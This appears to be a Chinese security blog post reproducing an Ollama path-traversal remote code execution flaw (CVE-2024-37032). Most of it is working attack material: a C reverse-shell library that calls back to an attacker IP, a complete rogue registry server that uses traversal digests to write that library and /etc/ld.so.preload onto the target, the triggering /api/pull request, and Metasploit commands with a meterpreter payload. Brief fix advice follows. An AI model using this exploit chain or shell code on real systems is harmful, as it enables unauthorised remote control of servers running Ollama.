首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【AI安全漏洞】Ollama远程代码执行(附加:MSF利用方式)

【AI安全漏洞】Ollama远程代码执行(附加:MSF利用方式)

作者头像
Al1ex
发布2026-04-17 15:39:58
发布2026-04-17 15:39:58
960
举报
文章被收录于专栏:网络安全攻防网络安全攻防
影响范围

Ollama < 0.1.34

漏洞描述
Ollama下载模型时需要解析模型digest(例如:sha256:<64 hex>),Digest是64位十六进制的SHA256哈希值,用于标识和存储模型文件,但是在版本0.1.34之前的Ollama的server/modelpath.go代码中digest参数未对用户输入进行有效过滤,攻击者通过/api/pull或/api/push接口提交包含路径穿越符请求将恶意文件写入系统关键路径(例如:/etc/ld.so.preload),从而触发动态库劫持并实现远程代码执行(RCE),整个攻击链路如下:
代码语言:javascript
复制
攻击者 ——> 访问 Ollama API ——> POST /api/pull ——> 恶意 manifest ——> 路径遍历 ——> 任意文件写入 ——> 系统配置文件篡改 ——> 远程代码执行
环境搭建

Step 1:使用Docker构建漏洞环境

代码语言:javascript
复制
docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

Step 2:访问漏洞环境地址

代码语言:javascript
复制
http://192.168.204.145:11434/
漏洞复现

Step 1:首先下载漏洞POC项目工程到本地

代码语言:javascript
复制
git clone https://github.com/Bi0x/CVE-2024-37032.git

Step 2:修改server.py中的HOST为攻击主机地址

Step 3:修改poc.py文件

Step 4:第三方依赖库下载

代码语言:javascript
复制
pip3 install -r requirements.txt --break-system-packages

Step 5:运行server

代码语言:javascript
复制
python3 server.py

Step 6:运行poc.py

反弹shell

Step 1:恶意文件-bad.c(源自:hxiicle)

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

// 攻击者 IP 地址和端口,请根据实际情况修改
#define ATTACKER_IP "192.168.222.130"
#define ATTACKER_PORT 7788

__attribute__((constructor))
void init_bad_so() {
    // 派生一个子进程,让父进程立即退出,避免干扰原始进程
    if (fork() == 0) {
        // 子进程继续执行反弹 Shell
        int sockfd, ret;
        struct sockaddr_in server_addr;

        // 创建 socket
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) {
            // 错误处理,但在隐蔽场景下可能不会有输出
            exit(1);
        }

        // 配置服务器地址
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(ATTACKER_PORT);
        ret = inet_pton(AF_INET, ATTACKER_IP, &server_addr.sin_addr);
        if (ret <= 0) {
            // 错误处理
            close(sockfd);
            exit(1);
        }

        // 连接到攻击者
        ret = connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
        if (ret < 0) {
            // 错误处理
            close(sockfd);
            exit(1);
        }

        // 将标准输入、标准输出、标准错误重定向到 socket
        dup2(sockfd, 0); // stdin
        dup2(sockfd, 1); // stdout
        dup2(sockfd, 2); // stderr

        // 执行 Shell
        // 可以根据目标系统情况选择 bash 或 sh
        char *const argv[] = {"/bin/sh", NULL}; // 或者 "/bin/bash"
        execve("/bin/sh", argv, NULL);

        // 如果 execve 失败,关闭 socket 并退出
        close(sockfd);
        exit(0);
    } else {
        // 父进程退出,不影响原始进程的启动
        // 实际上,因为是 LD_PRELOAD 加载,这里只是让构造函数返回
        // 原始进程会继续正常启动
    }
}

Step 2:生成bad.so

代码语言:javascript
复制
gcc -shared -fPIC -o bad.so bad.c

Step 3:修改server.py并在同级目录下放文件bad.so和ld.so.preload,ld.so.preload内容为/root/bad.so

代码语言:javascript
复制
from fastapi import FastAPI, Request, Response
import os

HOST = "192.168.222.130"
app = FastAPI()
# 恶意共享库的路径
MALICIOUS_LIB_PATH = "bad.so"
ld_so_preload_PATH = "ld.so.preload"

@app.get("/")
async def index_get():
    return {"message": "Hello rogue server"}

@app.post("/")
async def index_post(callback_data: Request):
    print(await callback_data.body())
    return {"message": "Hello rogue server"}

# for ollama pull
@app.get("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests():
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../root/bad.so","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../etc/ld.so.preload","size":10}]}

@app.head("/etc/passwd")
async def fake_passwd_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    return ''

@app.get("/etc/passwd", status_code=206)
async def fake_passwd_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/passwd\""
    return 'cve-2024-37032-test'

@app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")
async def fake_latest_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    return ''

@app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)
async def fake_latest_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\""
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"sha256:bbcd047a6a5193b9b4ff84176b6379998baa00a2532f46058d917835f52ac67f","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"sha256:bbcd047a6a5193b9b4ff84176b6379998baa00a2532f46058d917835f52ac67f","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/root/bad.so")
async def fake_notfound_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/bad.so"
    return ''

@app.get("/root/bad.so", status_code=206)
async def fake_notfound_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/bad.so"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/bad.so\""
    if os.path.exists(MALICIOUS_LIB_PATH):
        with open(MALICIOUS_LIB_PATH, "rb") as f:
            lib_content = f.read()
        return Response(content=lib_content, media_type="application/octet-stream")
    else:
        # 如果文件不存在,返回默认测试内容
        return 'cve-2024-37032-test'

@app.head("/etc/ld.so.preload")
async def fake_notfound_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/ld.so.preload"
    return ''

@app.get("/etc/ld.so.preload", status_code=206)
async def fake_notfound_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/ld.so.preload"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/ld.so.preload\""
    if os.path.exists(ld_so_preload_PATH):
        with open(ld_so_preload_PATH, "rb") as f:
            lib_content = f.read()
        return Response(content=lib_content, media_type="application/octet-stream")
    else:
        # 如果文件不存在,返回默认测试内容
        return 'cve-2024-37032-test'

@app.head("/tmp/notfoundfile")
async def fake_notfound_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    return ''

@app.get("/tmp/notfoundfile", status_code=206)
async def fake_notfound_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../tmp/notfoundfile\""
    return 'cve-2024-37032-test'

# for ollama push
@app.post("/v2/rogue/bi0x/blobs/uploads/", status_code=202)
async def fake_upload_post(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''

@app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_patch_file(callback_data: Request):
    print('patch')
    print(await callback_data.body())
    return ''

@app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_post_file(callback_data: Request):
    print(await callback_data.body())
    return ''

@app.put("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests_put(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host='0.0.0.0', port=80)

Step 4:测试机器192.168.222.130监听7788端口,并发送EXP

代码语言:javascript
复制
POST /api/pull HTTP/1.1
Host: 192.168.222.132:11434
Content-Type: application/json
Content-Length: 67

{
  "name": "192.168.222.130/rogue/bi0x",
  "insecure": true
}

Step 5:在目标机器上执行任意命令就可以成功反弹shell

MSF利用

下面我们使用MSF提供的模块进行攻击测试(需要更新或者当度下载对应载荷并放到MSF的payload中进行添加):

代码语言:javascript
复制
msfconsole
msf > search ollama
msf > show options
msf exploit(linux/http/ollama_rce_cve_2024_37032) > set RHOST 192.168.204.145
RHOST => 192.168.204.145
msf exploit(linux/http/ollama_rce_cve_2024_37032) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf exploit(linux/http/ollama_rce_cve_2024_37032) > exploit
修复建议
  • 最小权限:避免以ROOT运行,建议使用非特权用户
  • 立即升级:更新Ollama到0.1.34或更高版本,该版本修复了digest验证
  • 网络隔离:避免将Ollama API暴露到互联网,在Docker中使用反向代理添加认证
  • 最佳实践:在AI工具中使用防护中间件强制认证,避免默认暴露端口到外网环境
参考链接

https://mp.weixin.qq.com/s/uSBlP_mrDAYM2iLGdL-cWQ

https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-02-27-2026/

https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032#the-vulnerability-arbitrary-file-write-via-path-traversal-25

免责声明

仅限用于技术研究和获得正式授权的攻防项目,请使用者遵守《中华人民共和国网络安全法》,切勿用于任何非法活动,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律连带责任

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-04-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 漏洞描述
  • Ollama下载模型时需要解析模型digest(例如:sha256:<64 hex>),Digest是64位十六进制的SHA256哈希值,用于标识和存储模型文件,但是在版本0.1.34之前的Ollama的server/modelpath.go代码中digest参数未对用户输入进行有效过滤,攻击者通过/api/pull或/api/push接口提交包含路径穿越符请求将恶意文件写入系统关键路径(例如:/etc/ld.so.preload),从而触发动态库劫持并实现远程代码执行(RCE),整个攻击链路如下:
  • 环境搭建
  • 漏洞复现
  • 反弹shell
  • MSF利用
  • 修复建议
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档